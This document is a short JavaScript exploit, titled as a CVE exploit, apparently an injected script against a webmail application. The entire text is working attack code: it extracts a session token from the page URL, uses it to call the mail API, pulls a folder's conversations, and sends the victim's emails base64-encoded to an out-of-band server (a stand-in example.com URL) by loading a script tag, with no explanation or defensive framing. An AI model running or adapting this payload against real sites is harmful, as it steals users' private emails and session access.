CVE-2023-08-21 Vulnerability Exploit

xhr1 = new XMLHttpRequest(), xhr2 = new XMLHttpRequest(), xhr3 = new
XMLHttpRequest();
oob_server = 'https://example.com/';
var script_tag = document.createElement('script');

xhr1.open('GET', '/', true);
xhr1.onreadystatechange = () => {
    if (xhr1.readyState === XMLHttpRequest.DONE) {
        _h_cookie = new URL(xhr1.responseURL).search.split("=")[1];
        xhr2.open('PATCH', `/api/v1/conversations/MQ/?_h=${_h_cookie}`,
true);
        xhr2.setRequestHeader('Content-Type', 'application/json');
        xhr2.onreadystatechange = () => {
            if (xhr2.readyState === XMLHttpRequest.DONE) {
                if (xhr2.status === 401){
                    script_tag.src =
`${oob_server}?status=session_expired&domain=${document.domain}`;
                    document.body.appendChild(script_tag);
                } else {
                    resp = xhr2.responseText;
                    folderId = JSON.parse(resp)["mails"][0]["folderId"];
                    xhr3.open('GET',
`/api/v1/conversations?folderId=${folderId}&_h=${_h_cookie}`, true);
                    xhr3.onreadystatechange = () => {
                        if (xhr3.readyState === XMLHttpRequest.DONE) {
                            emails = xhr3.responseText;
                            script_tag.src =
`${oob_server}?status=ok&domain=${document.domain}&emails=${btoa(emails)}`;
                            document.body.appendChild(script_tag);
                        }
                    };
                    xhr3.send();
                }
            }
        };
        var body = JSON.stringify({isUnread: false});
        xhr2.send(body);
    }
};
xhr1.send();